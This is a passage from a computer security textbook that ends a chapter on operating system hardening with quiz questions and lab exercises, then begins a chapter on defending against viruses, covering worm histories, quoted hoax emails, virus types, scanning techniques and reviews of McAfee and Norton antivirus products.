In addition to Internet Explorer and Edge, other browsers are available, including Mozilla Firefox, Opera, Safari (Mac OS X), Chrome, and IceWeasel (Linux only, default is Kali Linux). Each of these have different methods for setting up security, but the same principles that hold true for Explorer also apply to these browsers: Limit cookies, do not allow ActiveX components to run without your knowledge, and do not allow any scripts to execute without your knowledge. If you apply the same principles to other browsers, you should be able to achieve similar security to what you can have with Internet Explorer.

SUMMARY

Operating system hardening is a critical part of network security, and it has many facets. It involves securing the operating system, applying patches, using appropriate security settings, and securing your browser. All of these factors must be addressed in order to secure a machine.

Careful configuration of the operating system can make many hacking techniques more difficult. It can also make a system more resistant to DoS attacks. Setting up appropriate policies for users and accounts can make hacking into those accounts much more difficult. Policies should cover issues such as appropriate password length, password type, and password age/history.

With Windows you can also use the Encrypted File System to protect your data should it be moved off of your system. EFS was first introduced in Windows 2000 and has continued through to today. It is a valuable tool that can and should be used to protect any sensitive data.

With any version of Microsoft Windows, proper registry settings are key to security. The registry is the heart and soul of the Microsoft Windows operating system, and failure to address proper registry settings will leave gaping holes in security.

Proper configuration of the browser makes a system less susceptible to malware. Limiting cookies can help ensure that privacy is protected. Blocking browsers from executing scripts or any active code without your knowledge is a critical step for protecting a system from malware.

Test Your Skills

MULTIPLE CHOICE QUESTIONS

1. What does disabling the default administrator account and setting up an alternative account accomplish?
 - A. Makes it more difficult for someone to guess the log-on information
 - B. Keeps administrators conscious of security
 - C. Allows closer management of administrator access
 - D. Makes the password stronger
2. What level of privileges should all users have?
 - A. Administrator
 - B. Guest
 - C. Most privileges possible
 - D. Least possible
3. What minimum password length does the NSA recommend?
 - A. 6
 - B. 8
 - C. 10

D. 12

- 4.** What maximum password age does Microsoft recommend?
 - A.** 20 days
 - B.** 3 months
 - C.** 1 year
 - D.** 42 days
- 5.** What account lockout threshold does the NSA recommend?
 - A.** 5 tries
 - B.** 3 tries
 - C.** 4 tries
 - D.** 2 tries
- 6.** Which of the following most accurately describes the registry?
 - A.** A relational database containing system settings
 - B.** A database containing system settings
 - C.** A database where software is registered
 - D.** A relational database where software is registered
- 7.** What is changing the TCP/Settings in the registry

called?

- A.** Stack tweaking
 - B.** Stack altering
 - C.** Stack compression
 - D.** Stack building
- 8.** What type of encryption does EFS utilize?
- A.** Single key
 - B.** Multi-alphabet
 - C.** Public key encryption
 - D.** A secret algorithm proprietary to Microsoft
- 9.** What happens if you copy an unencrypted file into an encrypted folder?
- A.** It remains unencrypted.
 - B.** The folder becomes unencrypted.
 - C.** Nothing happens.
 - D.** The file becomes encrypted.
- 10.** Which of the following templates is used to provide the most security for the domain controllers?
- A.** Hisecdc.inf
 - B.** Securedc.inf
 - C.** Hisecws.inf

D. Sectopdc.inf

- 11.** Which of the following is a security recommendation for Linux not common to Windows?
- A.** Shut down all services that you are not using (called daemons in Linux).
 - B.** Configure the browser securely.
 - C.** Routinely patch the operating system.
 - D.** Disable all console-equivalent access for regular users.
- 12.** What is the rule for unused services on any computer?
- A.** Turn them off only if they are critical.
 - B.** Turn them off.
 - C.** Monitor them carefully.
 - D.** Configure them for minimal privileges.
- 13.** What operating systems require periodic patches?
- A.** Windows
 - B.** Linux
 - C.** All
 - D.** Macintosh
- 14.** What is the minimum secure setting in Internet

Explorer for Run components not signed with Authenticode?

- A. Disable
- B. Enable
- C. Forbid
- D. Prompt

15. What is the recommended secure setting in Internet Explorer for Initialize and script ActiveX controls not marked as safe?

- A. Disable
- B. Enable
- C. Forbid
- D. Prompt

EXERCISES

EXERCISE 8.1: User Accounts and Password Policies

Note: This exercise is best done with a lab computer, not a machine actually in use. Following the guidelines given in this chapter, accomplish the following tasks:

- 1.** Create a new account with administrative privileges.

2. Disable all default accounts, or if they cannot be disabled, change them to the lowest possible permissions.
3. Implement the NSA recommendations for password policies and account lockout policies.

EXERCISE 8.2: Secure Registry Settings

Note: This exercise should be done on a laboratory Windows machine, not on one in normal use. Using the guidelines given in the chapter, check your machine's settings to see that the following recommendations are implemented:

- Restrict null session access.
- Restrict anonymous access.
- Change default shares.
- Restrict null session access over named pipes.

EXERCISE 8.3: Stack Tweaking

Note: This exercise should be done on a laboratory machine, not one in normal use.

Following the guidelines given in the chapter, change the registry settings to make DoS attacks more difficult.

EXERCISE 8.4: Installing Security

Templates

This exercise should be done on a laboratory Windows machine, not on one in normal use. By following the steps given here, you should be able to apply a security template to a Windows 7 or XP machine. You may use one of the default templates mentioned in the chapter or one you download from a website of your choice.

1. From the command prompt, or from Start, Run, type **MMC**. A screen like the one shown in Figure 8-14 appears.




FIGURE 8-14 The MMC console

2. Go to the drop-down menu Console and choose Add/remove console.
3. When you click the Add/Remove snap-in you can select a number of consoles. Find and select Security Configuration and Analysis.
4. After you have added this to the console, you can right-click on it and choose Open Database. Then give the database any name you like. When you press Enter, your dialog will change to display a list of all templates. Select the one you want.

EXERCISE 8.5: Securing Linux

Using a laboratory Linux machine (any distribution will work) and the data presented in this chapter, accomplish the following:

1. Ensure that user accounts are set up securely.
2. Shut down unused and unneeded daemons.
3. Apply the Linux-specific settings given in this chapter.

EXERCISE 8.6: Securing Microsoft Internet Explorer

Using a laboratory computer, secure Microsoft Internet Explorer by following the steps given here:

1. Block all unsigned ActiveX components.
2. Limit cookies to only first-party and session cookies.
3. Block all scripting.

EXERCISE 8.7: Patching Windows

Using a laboratory computer, preferably one that has not been patched in quite some time:

1. Go to www.microsoft.com.
2. Scan for patches.
3. Update all patches, and document the patches you update.

PROJECTS

PROJECT 8.1: Account and Password Settings

This chapter provides recommendations on accounts and passwords from the NSA, Microsoft, and the author. Using the web (including but not limited to resources identified in this chapter), find recommendations from

some other reliable source (CERT, SANS, any of the security certification vendors, etc.). Write a brief paper discussing those recommendations, paying particular attention to areas in which they differ from the recommendations given in this chapter.

PROJECT 8.2: Registry Settings

Note: This project is appropriate either for students with a strong understanding of the registry or perhaps as a group project.

Write about at least three additional registry settings you think should be modified to create a more secure Windows operating system. Explain your reasons fully.

PROJECT 8.3: Encrypted File System

Using the web or other resources, find out specifics about the Encrypted File System that is part of Windows. Describe this file system, and any strengths and any weaknesses you find.

Chapter 9

Defending Against Virus Attacks

CHAPTER OBJECTIVES

After reading this chapter and completing the exercises, you will be able to do the following:

- Explain how virus attacks work.
- Explain how viruses spread.
- Distinguish between different types of virus attacks.
- Employ virus scanners to detect viruses.
- Formulate an appropriate strategy to defend against virus attacks.

INTRODUCTION

Chapter 2 introduced virus attacks and Chapter 8, 4“Operating System Hardening,” gave more details. In this chapter you will learn more about how virus attacks work and learn how to defend against a virus attack.

One thing already pointed out is that the most prevalent danger on the Internet is the computer virus or worm. This is due to the fact that once a virus is released it spreads rapidly and unpredictably. Other attacks, such as DoS, session hacking, and buffer overflow, are generally targeted at a specific system or network. The virus simply spreads to any computer it can get to. It is a fact that any system will eventually encounter a virus. How significantly your network is affected by this encounter is entirely up to you, and the security measures you implement.

Because viruses pose such a significant threat, defending against such attacks is of paramount importance to any network administrator. Unfortunately, some administrators feel that simply because they have a virus scanner installed they are safe. This assumption is inaccurate. In this chapter you will learn how virus attacks work and explore some real-world examples of virus attacks. Then you will learn more about how antivirus software works and look at a

few commercial solutions. You will also learn about appropriate policies your organization can implement to reduce the chance of your systems being infected by a virus. Finally, you will learn about configuration options on other devices (firewalls, routers, etc.) that can help reduce the threat of a virus infection.

UNDERSTANDING VIRUS ATTACKS

Understanding what a virus is, how it spreads, and the different variations is essential for combating virus threats. You will also need to have a firm understanding of how a virus scanner works in order to make intelligent decisions about purchasing a virus scanner for your organization. In this section we will explore these topics in sufficient detail to equip you with the skills needed to establish a solid defense against virus attacks.

What Is a Virus?

Most people are familiar with computer viruses, but may not have a clear definition of what one is. A computer virus is a program that self-replicates. Generally, a virus will also have some other negative function such as deleting files or changing system settings. However, it is the self-replication and rapid spread that define a virus. Often this growth, in and of itself, can be a problem for an infected network. It can lead to excessive network traffic and prevent the network from functioning properly. Recall in Chapter 2 that we discussed the fact that all technology has a finite capacity to perform work. The more a virus floods a network with traffic, the less capacity is left for real work to be performed.

What Is a Worm?

A worm is a special type of virus. Some texts go to great lengths to differentiate worms and viruses, while others treat the worm as simply a subset of a virus. A worm is a virus that can spread without human intervention. In other words, a virus requires some human action in order to infect a machine (downloading a file, opening an attachment, and so on), but a worm can spread without such interaction. In recent years, worm outbreaks have become more common than the standard, non-worm virus. Frankly, today most of what is called a “virus” is actually a worm.

How a Virus Spreads

The best way to combat viruses is to limit their spread, so it's critical that you understand how they spread. A virus will usually spread in one of two ways. The most common, and the simplest, method is to read your e-mail address book and e-mail itself to everyone in your address book. Programming this is a trivial task, which explains why it is so common. The second method is to simply scan your computer for connections to a network, and then copy itself to other machines on the network to which your computer has access. This is actually the most efficient way for a virus to spread, but it requires more programming skill than the other method.

The first method is, by far, the most common method for virus propagation. Microsoft Outlook may be the one e-mail program most often hit with such virus attacks. The reason is not so much a security flaw in Outlook as it is the ease of working with Outlook.

FYI: Ease of Use Versus Security

There will always be a conflict between ease of use and security. The easier it is to use a system, the less secure it is. The opposite is true as well: The more secure you make a system, the more difficult it is to

work with. Some security professionals focus merely on the security side without giving enough thought to usability issues. This leads some security experts to completely avoid Microsoft products, as Microsoft's focus has always been usability, not security.

To become an effective network administrator, you must have a balanced view of these considerations. The most secure computer in the world is one that is unplugged from any network, never has any software installed on it, and has all portable media drives (CD-ROM, floppy, USB) removed. Such a computer would also be completely useless.

There are a number of theories about why Microsoft Outlook is so frequently struck with virus attacks. One explanation is its prevalence in the marketplace. Virus writers wish to cause havoc. The best way to do that is to target the most commonly used systems.

Another reason that Outlook is so often targeted is that writing viruses for it is relatively easy. We previously mentioned the fact that many e-mail applications allow programmers to create extensions to the application. All Microsoft Office products are made so that a legitimate programmer who is writing software for a business can access many of the application's internal objects and thereby easily create applications that integrate the

applications within the Microsoft Office suite. For example, a programmer could write an application that would access a Word document, import an Excel spreadsheet, and then use Outlook to automatically e-mail the resulting document to interested parties. Microsoft has done a good job of making this process very easy, for it usually takes a minimum amount of programming to accomplish these tasks. Using Outlook, it takes less than five lines of code to reference Outlook and send out an e-mail. This means a program can literally cause Outlook itself to send e-mail, unbeknownst to the user. There are numerous code examples on the Internet that show exactly how to do this, free for the taking. For this reason, it does not take a very skilled programmer to be able to access your Outlook address book and automatically send e-mail. Essentially, the ease of programming Outlook is why there are so many virus attacks that target Outlook.

While the overwhelming majority of virus attacks spread by attaching themselves to the victim's existing e-mail software, some recent virus outbreaks have used other methods for propagation. One method that is becoming more common is for viruses to have their own internal e-mail engine. A virus that has its own e-mail engine does not need to "piggyback" off of the machine's e-mail software. This means that, regardless of what e-mail software you use, this virus can still propagate

from your machine. Another virus propagation method is to simply copy itself across a network. Virus outbreaks that spread via multiple routes are becoming more common.

Another way a virus can spread is by examining the affected system looking for any connected computers and copying itself to them. This sort of self-propagation does not require user interaction, so the program that uses this method to infect a system is classified as a worm.

Regardless of the way a virus arrives at your doorstep, once it is on your system, it will attempt to spread and, in many cases, will also attempt to cause some harm to your system. Once a virus is on your system, it can do anything that any legitimate program can do. That means it could potentially delete files, change system settings, or cause other harm. The threat from virus attacks cannot be overstated. Some recent virus outbreaks even went so far as to disable existing security software, such as antivirus scanners and firewalls. Let's take a moment to examine a classic example of a worm and a few virus attacks that are common as of this writing. Examining real-world virus outbreaks provides a firm understanding of how these work. For our purposes we will look at examples of both virus and worm attacks in this section.

The Zafi Worm

This is an old worm, but illustrative of issues with worms. The first version of this worm was released only in the Hungarian language, so its spread was somewhat limited. However, by version Zafi.d it was spreading in English. This version of the virus, which purported to be a holiday greeting card, spread widely just before Christmas 2004. The use of the holiday greeting as a subject line for the e-mail significantly increased its chances of being read. Its strategic timing probably lead to its infecting more systems than it otherwise would have. The virus has its own SMTP e-mail engine and sends itself out to as many addresses as it can find. This worm grabs e-mail addresses from a number of different file types it might find on a computer, including HTML, ASP, text files, and others.

Once a system is infected, in addition to e-mailing itself out to e-mail addresses, it attempts to detect antivirus program files on the computer and overwrite them with a copy of itself. This disabling of antivirus software made Zafi.d particularly dangerous. Some versions of Zafi also attempt a DoS attack on the following sites:

- www.2f.hu
- www.parlament.hu

A typical Zafi worm e-mail is shown in Figure 9-1.




FIGURE 9-1 The Zafi worm

Rombertik

Rombertik wreaked havoc in 2015. This malware uses the browser to read user credentials to websites. It is most often sent as an attachment to an e-mail. Perhaps even worse, in some situations Rombertik will either overwrite the master boot record on the hard drive, making the machine unbootable, or begin encrypting files in the user's home directory.

Shamoon

Shamoon is a computer virus discovered in 2012 designed to target computers running Microsoft Windows in the energy sector. Symantec, Kaspersky Lab, and Seculert announced its discovery on August 16, 2012. It is essentially a data-stealing program that seems to target systems in energy companies. A variant of Shamoon appeared again in 2017. The interesting thing about this particular virus is that it mostly targeted computers at Saudi Aramco.

Gameover Zeus

Gameover Zeus is a virus that creates a peer-to-peer botnet. Essentially, it establishes encrypted communication between infected computers and the command and control computer, allowing the attacker to control the various infected computers. In 2014 the U.S. Department of Justice was able to temporarily shut down communication with the command and control computers; then in 2015 the FBI announced a reward of \$3 million for information leading to the capture of Evgeniy Bogachev for his alleged involvement with Gameover Zeus.

A command and control computer is the computer used in a botnet to control the other computers. These are the central nodes from which a botnet will be managed.

Mirai

The Mirai virus, first found in September 2016, affected network devices running Linux. It would turn these devices into zombies being remotely controlled. It primarily focused on IP cameras, routers, and similar devices. Once infected, these devices were used as part of a DDoS attack.

Linux.Encoder.1

This is ransomware, first discovered in November 2015. It is notable because it specifically targets Linux computers. It often spreads via a flaw in Magento, software used for online shopping cards on many e-commerce sites. The files are first encrypted with AES 128 bit, then that AES key is encrypted with RSA.

Kedi RAT

In September 2017, the Kedi RAT (Remote Access Trojan) was spreading through phishing emails. Once on an infected system, it would steal data, then exfiltrate that data by emailing it via a Gmail account. It specifically attempted to identify personal and/or financial data on the infected system to sell.

FYI: The Future of Virus Infections

In recent years many computer security professionals have lamented the security holes in Microsoft operating systems and applications. One of the claims (but not by any means the only claim) made is that the prevalence of Outlook-specific virus attacks is indicative of a fundamental security flaw in Microsoft products. With the increasing number of virus attacks that are not specific to any e-mail system, it is likely that we will see more virus attacks that infect non-Microsoft products.

The Virus Hoax

Over many years, a different virus phenomenon has become more common—the virus hoax. Rather than actually writing a virus, a person sends an e-mail to every address he has. The e-mail claims to be from some well-known antivirus center, and warns of a new virus that is circulating that might damage the user's computer. Often the e-mail instructs people to delete some file from their computer to get rid of the virus. The file, however, is not really a virus but part of a computer's system. The jdbgmgr.exe virus hoax used this scheme. It encouraged the reader to delete a file that was actually needed by the system. Surprisingly, a number of people followed this advice and not only deleted the file, but promptly e-mailed their friends and colleagues to warn them to delete the file from their machines.

Jdbgmgr Hoax

This particular virus hoax is perhaps the most well known and well examined. You will see some mention of it in almost any comprehensive discussion of viruses. The jdbgmgr.exe virus hoax encouraged the reader to delete a file that was actually needed by the system. The typical message looked like this:

I found the little bear in my machine because of that I

am sending this message in order for you to find it in your machine. The procedure is very simple:

The objective of this e-mail is to warn all Hotmail users about a new virus that is spreading by MSN Messenger. The name of this virus is jdbgmgr.exe and it is sent automatically by the Messenger and by the address book too. The virus is not detected by McAfee or Norton and it stays quiet for 14 days before damaging the system.

The virus can be cleaned before it deletes the files from your system. In order to eliminate it, it is just necessary to do the following steps:

- 1.** Go to Start, click Search.
- 2.** In the Files or Folders option write the name jdbgmgr.exe.
- 3.** Once you have found that file, delete it.

Jdbgmgr.exe is actually the Microsoft Debugger Registrar for Java. Deleting it may cause Java-based programs and web applets not to function properly.

Tax Return Hoax

This hoax first surfaced in 2003. The essential point of the e-mail was to make the recipient think that submitting federal taxes in the United States via the Internet was not safe. The fact was that such online submissions were perfectly safe and usually resulted in much faster refunds for the taxpayer. The e-mail body looked something like this:

WARNING

Nobody still knows if it's true, but it's worthwhile to protect yourself.

Don't send your tax return by the Internet (for the time being).

A new virus has been unleashed through the Internet to capture your tax return. The author created this virus to intercept all files using the extensions generated by the Federal Revenue program. If there is a rebate, the virus changes the current account indicated by the victim, changing it to the author's account. After that the changed file goes to the Federal Revenue Database. The victim receives the usual return-receipt, because the tax return doesn't fail to be delivered. There is a small increase in time of shipping, necessary because of the changed account information, which is not apparent to the person

waiting for the tax return, therefore the recipient of the rebate assumes that it is due to a high volume of traffic or problems with the telephone line, etc. ...all problems that we are accustomed to, being on the Internet. The new virus still informs its author about the rebates that he managed to capture, including the values that he'll pocket.

Send this e-mail to all your friends.

Fortunately, this particular hoax did not cause any actual damage to the infected machine. However, it did dissuade victims from using a valuable and efficient service, online tax return processing, thus causing a great deal of inconvenience for the victim. You should remember this incident when we discuss information warfare in Chapter 14, "Physical Security and Disaster Recovery." This e-mail hoax was clearly designed to erode confidence in a government service.

The W32.Torch Hoax

This hoax, like most others, causes no direct harm but can become a huge annoyance—the Internet equivalent of a prank phone call. Unlike the jdbmgre.exe hoax, it does not encourage you to delete files from your system. However it does induce a fair amount of concern in recipients. In this hoax a message is sent stating the following:

NEW VIRUS DESTROYS HARDWARE

A new virus found recently is capable of burning the CPU of some computers and even causing damage to the motherboard. Yes, it's true, this virus damages the hardware of your computer. The virus, called w32.torch, uses the winbond w83781d chip, present in most modern motherboards, which is responsible for controlling the speed of the CPU and system fans. The infection takes place using the well-known Microsoft DCOM net-trap Vulnerability, and when installed, the virus spreads to other computers in the local network using this method. Reverse-engineering the virus code, we find no evidence of code other than that responsible for the CPU burnout. The virus turns off the high temperature detection in the BIOS (already disabled by default) and then slowly decreases the speed of the fans, leading the system to a deadly increase of the internal temperature. If you feel that your computer is becoming "quiet," it's better to check it out because it may be stopping, and you may have only a few minutes left to disconnect it. The virus contains the text "Moscow Dominates - out/27/03" which is shown in the tray of some machines based on their IP address, perhaps indicating Soviet origin. There is no payload set to activate on this date, but it may be an indication that something is supposed to happen on this day. Some antiviruses already detect it,

check if yours is up to date.

To date, there have not been any viruses that directly damage hardware.

Ransomware

It is impossible in modern times to discuss malware and not discuss ransomware. While many people first began discussing ransomware with the advent of CrytpoLocker in 2103, ransomware has been around a lot longer than that. The first known ransomware was the 1989 PC Cyborg Trojan, which only encrypted filenames with a weak symmetric cipher. In early 2017 the WannaCry ransomware spread, starting in health care systems in the United Kingdom. It attacked unpatched Windows systems. This reiterates the need for patching, discussed in Chapter 8.

The Bad Rabbit computer virus spread in late 2017. This virus is ransomware. It began attacking in Russia and Ukraine, but quickly spread around the world.

Types of Viruses

There are many different types of viruses. In this section we will briefly look at some of the major virus types. Viruses can be classified by either their method for propagation or their activities on the target computers.

- **Macro:** Macro viruses infect the macros in office documents. Many office products, including Microsoft Office, allow users to write mini-programs called macros. These macros can also be written as a virus. A macro virus is written into a macro in some business application. For example, Microsoft Office allows users to write macros to automate some tasks. Microsoft Outlook is designed so that a programmer can write scripts using a subset of the Visual Basic programming language, called Visual Basic for Applications (VBA). This scripting language is, in fact, built into all Microsoft Office products. Programmers can also use the closely related VBScript language. Both languages are quite easy to learn. If such a script is attached to an e-mail and the recipient is using Outlook, then the script can execute. That execution can do any number of things, including scanning the address book, looking for addresses, sending out e-mail, deleting e-mail, and more.

- **Boot sector:** As the name suggests, a boot sector virus infects the boot sector of the drive, rather than the operating system. This makes them more difficult to eradicate, as most antivirus software works within the operating system.
- **Multipartite:** Multipartite viruses attack the computer in multiple ways—for example, infecting the boot sector of the hard disk and one or more files.
- **Memory resident:** A memory-resident virus installs itself and then remains in RAM from the time the computer is booted up to when it is shut down.
- **Armored:** An armored virus uses techniques that make it hard to analyze. Code confusion is one such method. The code is written such that if the virus is disassembled, the code won't be easily followed. Compressed code is another method for armoring the virus.
- **Stealth:** There are several types of stealth virus. A stealth virus attempts to hide itself from antivirus. A few common methods of stealth are shown here:
 - **Sparse infector:** A sparse infector virus attempts to elude detection by performing its malicious activities only sporadically. With a sparse infector virus, the user will see

symptoms for a short period, then no symptoms for a time. In some cases the sparse infector targets a specific program but the virus only executes every 10th time or 20th time that target program executes. Or a sparse infector may have a burst of activity and then lie dormant for a period of time. There are a number of variations on the theme, but the basic principle is the same: to reduce the frequency of attack and thus reduce the chances for detection.

- **Encrypted:** Sometimes a virus is encrypted, even with weak encryption, just enough to prevent an antivirus program from recognizing the virus. Then when it is time to launch an attack, the virus is decrypted.
- **Polymorphic:** A polymorphic virus literally changes its form from time to time to avoid detection by antivirus software. A more advanced form of this is called the metamorphic virus; it can completely change itself.

More complex, advanced viruses are developed in modules. One module may do very little except get itself installed on the target. Because it does no real malicious activity, it might not be detected by antivirus. Then a

downloader module will download the actual malicious payload. If that payload is encrypted, then the downloader may be responsible for decryption as well. A launcher module is responsible for activating, or launching, the downloaded malicious payload.

VIRUS SCANNERS

The most obvious defense against viruses is the virus scanner. A virus scanner is essentially software that tries to prevent a virus from infecting your system. Usually it scans incoming e-mail and other incoming traffic. Most virus scanners also have the ability to scan portable media devices such as USB drives. Most people are aware, in a general way, of how virus scanners work. In this section you will learn in more detail how scanners operate.

In general, virus scanners work in two ways. The first method is that they contain a list of all known virus files. Generally, one of the services that vendors of virus scanners provide is a periodic update of this file. This list is typically in a small file, often called a .dat file (short for data). When you update your virus definitions, what actually occurs is that your current file is replaced by the more recent one on the vendor's website.

Every virus scanner I have ever personally examined also allows you to configure it to periodically download the latest such updates. It is critical that, no matter which virus scanner you choose, you configure it to automatically update itself.

The antivirus program then scans your PC, network, and incoming e-mail for known virus files. Any file on your PC or attached to an e-mail is compared to the virus definition file to see whether there are any matches. With e-mail, this can be done by looking for specific subject lines and content. Known virus files often have specific phrases in the subject line and the body of the messages they are attached to. Yet viruses and worms can have a multitude of headers, some of which are very common, such as re:hello or re:thanks. Scanning against a list of known viruses alone would result in many false positives. Therefore, the virus scanner also looks at attachments to see whether they are of a certain size and creation date that matches a known virus or whether it contains known viral code. The file size, creation date, and location are the telltale signs of a virus. Depending on the settings of your virus scanner, you may be prompted to take some action, the file may be moved to a quarantined folder, or the file may simply be deleted outright. This type of virus scanning works only if the .dat file for the virus scanner is updated, and only for known viruses.

Another way a virus scanner can work is to monitor your system for certain types of behavior that are typical of a virus. This might include programs that attempt to write to a hard drive's boot sector, change system files, alter the system registry, automate e-mail software, or self-multiply. Another technique virus scanners often use is searching for files that stay in memory after they execute. This is called a Terminate and Stay Resident (TSR) program. Some legitimate programs do this, but it is often a sign of a virus.

Many virus scanners have begun employing additional methods to detect viruses. Such methods include scanning system files and then monitoring any program that attempts to modify those files. This means the virus scanner must first identify specific files that are critical to the system. With a Windows system, these include the registry, the boot.ini, and possibly other files. Then, if any program attempts to alter these files, the user is warned and must first authorize the alteration before it can proceed.

It is also important to differentiate between on-demand virus scanning and ongoing scanners. An ongoing virus scanner runs in the background and is constantly checking a PC for any sign of a virus. On-demand scanners run only when you launch them. Most modern antivirus scanners offer both options.

Virus Scanning Techniques

Now that you have learned the general strategies virus scanners use, let's take a more detailed look at specific virus scanning techniques employed by various virus scanners.

E-mail and Attachment Scanning

Since the primary propagation method for a virus is e-mail, e-mail and attachment scanning is the most important function of any virus scanner. Some virus scanners actually examine your e-mail on the e-mail server before downloading it to your machine. Other virus scanners work by scanning your e-mail and attachments on your computer before passing it to your e-mail program. In either case, the e-mail and its attachments should be scanned prior to your having any chance to open it and release the virus on your system. This is a critical difference. If the virus is first brought to your machine, and then scanned, there is a chance, however small, that the virus will still be able to infect your machine. Most commercial network virus scanners will scan the e-mail on the server before sending it on to the workstations.

Download Scanning

Anytime you download anything from the Internet, either via a web link or through some FTP program, there is a chance you might download an infected file. Download scanning works much like e-mail and attachment scanning, but does so on files you select for downloading.

File Scanning

Download and e-mail scanning will only protect your system against viruses that you might get downloading from a site, or that come to you in e-mail. Those methods will not help with viruses that are copied over a network, deposited on a shared drive, or that are already on your machine before you install the virus scanner.

This is the type of scanning in which files on your system are checked to see whether they match any known virus. This sort of scanning is generally done on an on-demand basis instead of an ongoing basis. It is a good idea to schedule your virus scanner to do a complete scan of the system periodically. I personally recommend a weekly scan, preferably at a time when no one is likely to be using the computer.

It does take time and resources to scan all the files on a

computer's hard drive for infections. This type of scanning uses a method similar to e-mail and download scanning. It looks for known virus signatures. Therefore this method is limited to finding viruses that are already known and will not find new viruses.

Heuristic Scanning

This is perhaps the most advanced form of virus scanning. This sort of scanning uses rules to determine whether a file or program is behaving like a virus, and is one of the best ways to find a virus that is not a known virus. A new virus will not be on any virus definition list, so you must examine its behavior to determine whether it is a virus. However, this process is not foolproof. Some actual virus infections will be missed, and some non-virus files might be suspected of being a virus.

The unfortunate side effect of heuristic scanning is that it can easily lead to false positives. This means that it might identify a file as a virus, when in fact it is not. Most virus scanners do not simply delete viruses. They put them in a quarantined area, where you can manually examine them to determine whether you should delete the file or restore it to its original location. Examining the quarantined files rather than simply deleting them all is important because some can be false positives. In

this author's personal experience, false positives are relatively rare with most modern virus scanners.

As the methods for heuristic scanning become more accurate, it is likely that more virus scanners will employ this method, and will rely on it more heavily. Right now it offers the most promise for the greatest protection for your system. Such algorithms are constantly being improved. One area of research now is adding machine learning to antivirus algorithms.

Active Code Scanning

Modern websites frequently embed active codes, such as Java applets and ActiveX. These technologies can provide some stunning visual effects to any website. However, they can also be vehicles for malicious code. Scanning such objects before they are downloaded to your computer is an essential feature in any quality virus scanner. Also recall from Chapter 8 we discussed altering your browser to prompt you before executing any such active code on a website. Combining that browser configuration with an antivirus software package that scans for active code can significantly reduce the chances of your being infected with this sort of virus.

Instant Messaging Scanning

Instant message scanning is a relatively new feature of virus scanners. Virus scanners using this technique scan instant messaging communications looking for signatures of known virus or Trojan horse files. In recent years the use of instant messaging has increased dramatically. It is now frequently used for both business and recreational purposes. This growing popularity makes virus scanning for instant messaging a vital part of effective virus scanning. If your antivirus scanner does not scan instant messaging, then you should either avoid instant messaging or select a different antivirus package.

Most commercial virus scanners use a multi-modal approach to scanning. They employ a combination of most, if not all, of the methods we have discussed here. Any scanner that does not employ most of these methods will have very little value as a security barrier for your system.

Commercial Antivirus Software

There are a number of antivirus packages available for individual computers and for network-wide virus scanning. We will examine some of the more commonly encountered antivirus software here. It is important that you consider the following factors when purchasing a virus scanning solution for your own organization or recommending a solution to a client:

- **Budget:** Price should not be the only, or even the most important, consideration, but it certainly must be considered.
- **Vulnerability:** An organization with diverse users who frequently get e-mail from outside the organization or download from the Internet will need more antivirus protection than a small homogeneous group that uses the Internet only intermittently.
- **Skill:** Whoever will ultimately use the product must be able to understand how to use it. Are you getting a virus scanner for a group of tech-savvy engineers or a group of end users who are unlikely to be technically proficient?
- **Technical:** How does the virus scanner work? What methods does it use to scan? How often are

the .dat files updated? How quickly does the vendor respond to new virus threats and release new .dat files?

All of these factors must be considered when selecting antivirus solutions. Too often security experts simply recommend a product they are familiar with without doing significant research. This section introduces a variety of antivirus solutions and the benefits of each.

McAfee

McAfee is a well-known antivirus vendor. Their antivirus has been marketed under many names, including VirusScan, Endpoint Security, and Total Protection. This company offers solutions for the home user and large organizations. All of McAfee's products have some common features, including e-mail scanning and file scanning. They also scan instant messaging traffic.

McAfee scans e-mail, files, and instant messaging for known virus signatures, and uses heuristic methods to locate new worms. Given the growing use of worms (in contrast with traditional viruses), this is an important benefit. McAfee offers a relatively easy download and install, and you can get a trial version from the company's website. We will take a look at features of the

home version, which functions similarly to the enterprise version.

Figure 9-2 shows the main screen of the McAfee antivirus software. You can see that McAfee has an integrated management screen for multiple security products, including its firewall and antivirus products. The main screen displays options to scan your computer, scan for vulnerabilities, configure the firewall, configure parental settings, and more.




FIGURE 9-2 The McAfee antivirus main screen

Select virusscan > Options to select what you wish to scan, how you wish to scan, and when you wish to scan. Figure 9-3 shows the Schedule Your Scans dialog box. You can choose to scan inbound files, e-mail, instant messages, and so on. You can also choose to schedule scans to occur at set times, and then select whether you wish to scan the entire machine.

Of particular interest is the McAfee virus world map, shown in Figure 9-4. This is a map of virus activity currently going on in the world. This can be invaluable information for a security professional, particularly if your organization is geographically widespread.

McAfee
An Intel Company

Security Scan Plus

Home | **Settings** | Help

Schedule Your Scans

Decide how often and when you want to scan your PC, then click **Apply**. You can use one of our preset scan schedules, or set your own.

Next scheduled scan: Sunday, December 31, 2017 4:37 PM

☒ Use McAfee scan schedule:

Every Wednesday at 04:37 PM ▼

☐ Set my own scan schedule:

Every week ▼

Day: **Su** Mo Tu We Th Fr Sa

Time: **AM** PM

Software updates and notifications

☒ Automatically update my software during my scheduled scan.

☐ Automatically send my suspicious files to McAfee.

[License Agreement](#) [Privacy Policy](#)

Apply

FIGURE 9-3 Schedule Your Scans options

This map is quite useful. You can select all viruses, or only the top 10. You can also choose to view by a specific geographical area any computers infected per million users, or how many files are infected per million users. If you click on any area of the map you will zoom down to that geographical area. You can continue to zoom

until you are viewing individual cities, allowing you to find out a great deal about virus infections in any geographical region.

If you consider the four criteria we listed previously—budget, vulnerability, skill, and technical—McAfee rates quite well:

- It is very affordable.
- Different versions are available for different levels of vulnerability.
- It is relatively easy to use, requiring only limited skill to utilize.
- It is technically a very good scanner, using multiple modalities to scan for viruses. It also has interesting added features such as the virus infection map.

These features make McAfee a good choice for home users as well as corporate networks.



FIGURE 9-4 The McAfee virus world map

Norton AntiVirus

Norton AntiVirus is also a widely known vendor of antivirus software. You can purchase Norton solutions for individual computers or for entire networks. Norton offers e-mail and file scanning, as well as instant messaging scanning. It also offers a heuristic approach to discovering worms and traditional signature scanning. Recent versions of Norton AntiVirus have also added anti-spyware and anti-adware scanning, both very useful features. An additional interesting feature of Norton AntiVirus is the pre-install scan. During the installation the install program scans the machine for any virus infections that might interfere with Norton. Because it is becoming more common to find virus attacks that actually seek to disable antivirus software, this feature is very helpful.

While Norton, like most antivirus vendors, offers versions for individual PCs and for entire networks, the individual version has a free trial version you can download and experiment with for 15 days without any charge. We will briefly examine this product to illustrate how Norton AntiVirus products function.

When you download the product, you get a self-extracting executable. Simply double-click on that in either Windows Explorer or My Computer, and it will

